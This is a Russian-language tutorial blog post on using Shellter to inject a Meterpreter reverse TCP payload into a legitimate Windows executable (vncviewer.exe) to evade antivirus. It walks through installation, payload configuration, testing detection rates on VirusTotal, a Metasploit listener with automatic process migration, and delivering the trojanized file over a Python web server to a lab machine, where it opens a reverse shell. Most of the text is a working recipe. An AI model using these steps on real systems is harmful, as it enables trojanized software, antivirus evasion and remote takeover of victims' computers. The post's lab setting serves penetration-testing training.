Shellter — это инструмент для обхода антивирусных программ, который часто используется этичными хакерами и пентестерами для автоматизации процесса создания и сокрытия полезных нагрузок. Далее покажу, как использовать Shellter для создания полезных нагрузок.
Еще по теме: Обход антивируса с помощью Haskell
Использование Shellter для обхода антивирусов
Shelter выполняет генерацию шелл-кода и внедряет его в доверенное 32-битное приложение Microsoft Windows. Когда пользовательская полезная нагрузка выполняется на целевой системе, доверенные файлы выполняются так, как будто приложение является безвредным, но пользовательская полезная нагрузка (шелл-код) выполняется в фоновом режиме в пространстве памяти.
Включите виртуальную машину Kali Linux, откройте Терминал (#1) и выполните следующие команды для установки Shellter:
1 2 |
kali@kali:~$ sudo apt update kali@kali:~$ sudo apt install shelter |
Установите и настройте рабочую среду для Shellter и установите Wine32 (см. Установка и использование Wine Kali Linux):
1 2 3 |
kali@kali:~$ sudo dpkg --add-architecture i386 kali@kali:~$ sudo apt update kali@kali:~$ sudo apt install wine32 |
Используйте следующие команды, чтобы отобразить список обычных бинарников Windows в Kali Linux:
1 |
kali@kali:~$ ls -l /usr/share/windows-binaries/ |
Теперь скопируем файл vncviewer.exe в текущую рабочую директорию с помощью следующих команд:
1 |
kali@kali:~$ cp /usr/share/windows-binaries/vncviewer.exe /home/kali |
Поскольку мы установили дополнительные пакеты в Kali Linux, выйдите из системы и войдите заново, чтобы убедиться, что используются новые пакеты.
Запустите Shellter на Kali Linux:
1 |
kali@kali:~$ sudo shelter |
Далее, когда появится окно Shellter, вам будет предложено использовать Shellter в автоматическом или ручном режиме, введите A и нажмите Enter, чтобы использовать автоматический режим.
Shellter потребуется портабельный исполняемый файл (PE). Укажите файл vncviewer.exe в каталоге /home/kali.
Shellter определит, куда он может внедрить шелл-код в PE-файле. По завершении этого процесса введите Y и нажмите Enter, чтобы включить скрытый режим.
Далее настройте полезную нагрузку, которая будет прикреплена к PE-файлу, используя следующие конфигурации:
- Выберите L для перечисленной полезной нагрузки.
- Полезная нагрузка по индексу: 1 — Meterpreter_Reverse_TCP.
- Задайте LHOST в качестве IP-адреса вашей машины Kali Linux.
- Установите LPORT в качестве порта прослушивания на Kali Linux.
После того как пользовательская полезная нагрузка будет успешно скомпилирована, появится следующее окно.
Далее перейдите на сайт https://www.virustotal.com/ и загрузите зашифрованный файл vncviewer.exe, чтобы определить его рейтинг угрозы.
Как видно на предыдущем скриншоте, рейтинг обнаружения угрозы ниже, чем у тех полезных нагрузок, которые были сгенерированы MSFvenom (см. Использование MSFVenom).
Далее с помощью следующих команд настройте слушателя Meterpreter в Metasploit, чтобы получить обратный шелл от целевой системы при его выполнении:
1 2 3 4 5 6 7 |
kali@kali:~$ msfconsole msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 172.30.1.50 msf6 exploit(multi/handler) > set LPORT 5678 msf6 exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate msf6 exploit(multi/handler) > exploit |
Ниже приведена детальная информация по командам:
- Полезная нагрузка windows /meterpreter/reverse_tcp гарантирует, что при обнаружении соединения Metasploit отправит эту полезную нагрузку на целевую систему, которая выполнится в памяти и создаст обратный shell обратно на машину Kali Linux.
- Параметры LHOST и LPORT используются для установки локального IP-адреса и порта прослушивания на Kali Linux (см. LHOST RHOST и другие переменные в Metasploit).
- Команда AutoRunScript post/windows/manage/migrate позволяет установить соединение между системой-жертвой и Kali Linux, после чего Metasploit автоматически внедрит процесс на целевой системе в другой процесс, чтобы снизить вероятность обнаружения.
- Команда exploit используется для выполнения полезной нагрузки или модуля эксплойта в Metasploit.
Теперь доставим нашу пользовательскую полезную нагрузку на Windows-машину, например Metasploitable 3 в сети 172.30.1.0/24 в нашей виртуальной среде. В Kali Linux откройте новый терминал (#2) и с помощью следующих команд запустите веб-сервер Python3:
1 |
kali@kali:~$ python3 -m http.server 8000 |
Веб-сервер Python3 позволит нам скачать файл с машины Kali Linux на другие системы в нашей лабораторной среде.
Далее включите виртуальную машину Metasploitable 3 и войдите в систему с именем пользователя: Administrator и паролем: vagrant.
Чтобы скачать полезную нагрузку В Metasploitable 3 запустите браузер и откройте:
1 |
http://172.30.1.50:8000/vncviewer.exe |
Теперь запустите файл vncviewer.exe в Metasploitable 3. После чего заметите, что в терминале №1 в Kali Linux перехвачен реверс шелл (обратная оболочка / обратное соединение).
Как показано на предыдущем скрине, модуль Metasploit listener получил обратное соединение с адреса 172.30.1.48, а затем доставил дополнительную полезную нагрузку для создания оболочки Meterpreter и переноса идентификатора запущенного процесса в компьютере жертвы. Кроме того, использование команды sysinfo в Meterpreter позволяет нам получить системную информацию о взломанной системе (см. также Список основных команд Meterpreter).
После получения оболочки Meterpreter используйте команду help, чтобы просмотреть список команд для выполнения действий и сбора информации со взломанной машины.
Не все исполняемые файлы Windows будут работать с Shellter. При работе с Shellter важно убедиться, что PE-файл, зашифрованный шелл-кодом Shellter, выполняется на целевой системе достаточно долго, чтобы поэтапная полезная нагрузка была доставлена из Kali Linux на целевую машину.
Затем воспользуйтесь командой getuid в Meterpreter, чтобы определить учетную запись пользователя, под которой запущена наша полезная нагрузка.
Итак, я показал, как создавать, кодировать и доставлять полезную нагрузку на целевую систему.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Использование SigThief для обхода антивируса статья о том, как можно обойти антивирусные программы с помощью изменения и добавления цифровой подписи, используя инструмент SigThief.
- Пример обхода антивирусов с помощью API Hashing статья рассказывает о технике обхода антивирусных программ, называемой API Hashing. Она требует определенных навыков и понимания работы компилятора и языка программирования C++.
- Как обойти антивирус с помощью Chimera здесь рассматривается пример использования техники обхода антивируса с помощью скрипта обфускации PowerShell под названием Chimera. Этот скрипт позволяет обойти обнаружение антивирусных программ, в том числе AMSI.